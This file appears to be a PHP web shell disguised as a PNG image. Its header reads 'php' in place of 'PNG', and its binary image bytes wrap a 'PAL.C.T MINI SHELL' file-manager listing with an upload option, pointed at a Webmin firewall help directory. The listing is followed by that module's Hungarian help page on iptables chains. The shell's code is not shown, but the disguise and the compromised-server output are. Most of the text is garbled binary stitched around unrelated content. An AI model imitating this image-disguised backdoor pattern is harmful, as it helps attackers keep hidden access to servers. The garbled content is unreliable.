‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/firewall/help/
upload
files >> //usr/libexec/webmin/firewall/help/intro.hu.auto.html

<header> Linux tƱzfal </header><h3> Modul bevezetĂ©se </h3> Ez a modul lehetƑvĂ© teszi az IPtable tƱzfal funkciĂłinak konfigurĂĄlĂĄsĂĄt, amelyek a 2.4-es Linux kernelek sorozatĂĄban talĂĄlhatĂłk. MĂĄs tƱzfalkonfigurĂĄciĂłs programokkal ellentĂ©tben a tƱzfalat beĂĄllĂ­tĂł shell parancsfĂĄjl lĂ©trehozĂĄsa helyett elolvassa Ă©s szerkeszti az mentĂ©si fĂĄjlt az <tt>ipi (6) tĂĄblĂĄk - helyreĂĄllĂ­tĂĄs</tt> Ă©s az <tt>ipi (6) tĂĄblĂĄk - mentĂ©s</tt> ĂĄltal olvasott Ă©s Ă­rt formĂĄtumban. <p> Ha mĂĄr van olyan tƱzfala a rendszeren, amelyet manuĂĄlisan vagy egy szkriptfĂĄjlbĂłl ĂĄllĂ­t be, a modul felajĂĄnlja, hogy konvertĂĄlja azt egy IPtable mentĂ©si fĂĄjlba az Ön szĂĄmĂĄra, Ă©s lĂ©trehoz egy szkriptet, amelyet a rendszerindĂ­tĂĄskor futtatni kell a szabĂĄlyok aktivĂĄlĂĄsĂĄhoz a fĂĄjl. Ha azonban ezt megteszi, akkor mĂĄr nem szabad szerkesztenie a tƱzfalszabĂĄlyok parancsfĂĄjljĂĄt, Ă©s le kell tiltania a futtatĂĄst a rendszerindĂ­tĂĄskor is. <p><h3> IP tĂĄblĂĄzatok ĂĄttekintĂ©se </h3> Minden olyan hĂĄlĂłzati csomagot, amely bekerĂŒl, kikerĂŒl vagy tovĂĄbbĂ­tja a rendszer, egy vagy több lĂĄnchoz viszonyĂ­tva ellenƑrzik, hogy mi törtĂ©njen vele. Mindegyik lĂĄnc nulla vagy több szabĂĄlyt tartalmaz, amelyek mindegyike rendelkezik feltĂ©tellel (annak meghatĂĄrozĂĄsĂĄra, hogy melyik csomaghoz felel meg) Ă©s egy mƱvelettel (annak vezĂ©rlĂ©sĂ©re, hogy mi törtĂ©njen azokkal a megfelelƑ csomagokkal). Minden lĂĄncon van egy alapĂ©rtelmezett mƱvelet, amely szabĂĄlyozza, hogy mi törtĂ©njen az olyan csomagokkal, amelyek nem felelnek meg a szabĂĄlyoknak. <p> Minden lĂĄnc egy tĂĄblĂĄzat rĂ©sze, amelybƑl jelenleg hĂĄrom van: <ul><li> <b>CsomagszƱrĂ©s ( <tt>szƱrƑ</tt> )</b> <br> Az ebben a tĂĄblĂĄzatban szereplƑ lĂĄncok felhasznĂĄlhatĂłk a rendszer mĂĄs hĂĄlĂłzati gazdagĂ©pektƑl Ă©rkezƑ adatok, a felhasznĂĄlĂłk ĂĄltal a rendszerbƑl kĂŒldött adatok Ă©s a folyamatok, valamint a rendszer ĂĄltal tovĂĄbbĂ­tott adatok, ha ĂștvonalvĂĄlasztĂłkĂ©nt mƱködik. <p><li> <b>HĂĄlĂłzati cĂ­m fordĂ­tĂĄsa ( <tt>nat</tt> )</b> <br> Ez a tĂĄblĂĄzat felhasznĂĄlhatĂł a NAT beĂĄllĂ­tĂĄsĂĄra vagy ĂĄlarcosĂ­tĂĄsra, ami akkor hasznos, ha azt szeretnĂ©, hogy a gĂ©pek teljes hĂĄlĂłzata csak egyetlen valĂłdi IP-cĂ­men keresztĂŒl hozzĂĄfĂ©rjen az internethez. <p><li> <b>Csomag mĂłdosĂ­tĂĄsa ( <tt>mangle</tt> )</b> <br> Ez a tĂĄblĂĄzat a rendszer ĂĄltal tovĂĄbbĂ­tott vagy a szĂĄmĂ­tĂłgĂ©prƑl kĂŒldött csomagok mĂłdosĂ­tĂĄsĂĄra szolgĂĄl. <p></ul> Az egyes tĂĄblĂĄzatok rĂ©szĂ©t kĂ©pezƑ szokĂĄsos lĂĄncokon kĂ­vĂŒl sajĂĄt lĂĄncokat is lĂ©trehozhat, amelyeket a beĂ©pĂ­tett lĂĄncok szabĂĄlyai futtathatnak. Ez hasznos lehet a több helyen hasznĂĄlhatĂł szabĂĄlyok csoportosĂ­tĂĄsa Ă©s megosztĂĄsa cĂ©ljĂĄbĂłl. <p><h3> FƑoldal </h3> Ennek a modulnak a fƑoldala felsorolja a rendelkezĂ©sre ĂĄllĂł tĂĄblĂĄk egyik lĂĄncĂĄt Ă©s szabĂĄlyĂĄt, amelyeket a bal felsƑ sarokban lĂ©vƑ listĂĄbĂłl vĂĄlasztanak ki. Az alĂĄbbiakban egy szakasz talĂĄlhatĂł az aktuĂĄlis tĂĄblĂĄzat minden egyes lĂĄnca szĂĄmĂĄra, felsorolva az egyes lĂĄncok minden szabĂĄlyĂĄt Ă©s feltĂ©teleit, a modul legjobb kĂ©pessĂ©geinek megfelelƑen. Minden lĂĄnc esetĂ©ben megvĂĄltoztathatja az alapĂ©rtelmezett mƱveletet a legördĂŒlƑ lista segĂ­tsĂ©gĂ©vel, ha a lĂĄnc a tĂĄblĂĄzat egyik beĂ©pĂ­tett eleme, vagy törölheti a LĂĄnc törlĂ©se gombbal, ha a felhasznĂĄlĂł meghatĂĄrozza. <p> A szerkesztĂ©shez kattintson a lĂĄnc bĂĄrmelyik szabĂĄlyĂĄra, kattintson az egyes sorok jobb oldalĂĄn talĂĄlhatĂł nyilakra, hogy felfelĂ© vagy lefelĂ© mozgassa, vagy kattintson az Új szabĂĄly hozzĂĄadĂĄsa gombra, hogy hozzĂĄadjon egy Ășj. Egy szabĂĄly hozzĂĄadĂĄsĂĄval vagy szerkesztĂ©sĂ©vel egy oldalra jut, ahol kivĂĄlaszthatja az egyes szabĂĄlyok mĂ»veletĂ©t, valamint a mĂ»velet vĂ©grehajtĂĄsĂĄnak feltĂ©teleit. <p> Az oldal aljĂĄn talĂĄlhatĂł egy gomb az aktuĂĄlis tƱzfalkonfigurĂĄciĂł aktĂ­vvĂĄ <tt>tĂ©telĂ©hez</tt> , az <tt>ipi (6) tables -tore</tt> paranccsal betöltve a kernelbe. Az alatt egy gomb van a fordĂ­tott fordĂ­tĂĄs elvĂ©gzĂ©sĂ©hez - a kernelben lĂ©vƑ konfigurĂĄciĂł ĂĄtvĂ©telĂ©hez Ă©s szerkeszthetƑvĂ© tĂ©telĂ©hez. VĂ©gĂŒl, ha az Ön disztribĂșciĂłja tĂĄmogatja, akkor van egy gomb annak mĂłdosĂ­tĂĄsĂĄra, hogy a tƱzfal aktivĂĄlĂłdik-e a rendszerindĂ­tĂĄskor. <p><h3> LĂĄncok szƱrĂ©se </h3> A kĂŒlsƑ iptable szkriptekkel valĂł jobb egyĂŒttmƱködĂ©s Ă©rdekĂ©ben kizĂĄrhatja az egyes lĂĄncokat a tƱzfal ĂĄltali feldolgozĂĄsbĂłl. Ehhez ki kell vĂĄlasztania a szabĂĄlyok közvetlen feldolgozĂĄsĂĄt a beĂĄllĂ­tĂĄsokban, Ă©s be kell Ă­rnia egy szƱrƑlistĂĄt, amely kizĂĄrja a megfelelƑ lĂĄncokat a feldolgozĂĄsbĂłl. Azokat a lĂĄncokat, amelyek nem tartoznak a szerkesztĂ©s alĂĄ, jelöljĂŒk egy &quot;nem a tƱzfal kezeli&quot; ĂŒzenettel. <p><h3> IP-kĂ©szletek </h3> Az ip (6) tĂĄbla Ășjabb verziĂłi tĂĄmogatjĂĄk az ipset kiterjesztĂ©st. Az IP kĂ©szletek a fƑ memĂłriĂĄban talĂĄlhatĂł IP-cĂ­mek listĂĄja, amelyek nagyon hatĂ©konyan kereshetƑk Ă©s felhasznĂĄlhatĂłk a szabĂĄlyok feltĂ©telekĂ©nt. A fƑoldalon a meglĂ©vƑ IP-kĂ©szletek jelennek meg, amelyeket a szabĂĄlyok hasznĂĄlhatnak. Jelenleg azonban ezeket nem lehet a tƱzfalon kezelni. <p><hr>
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚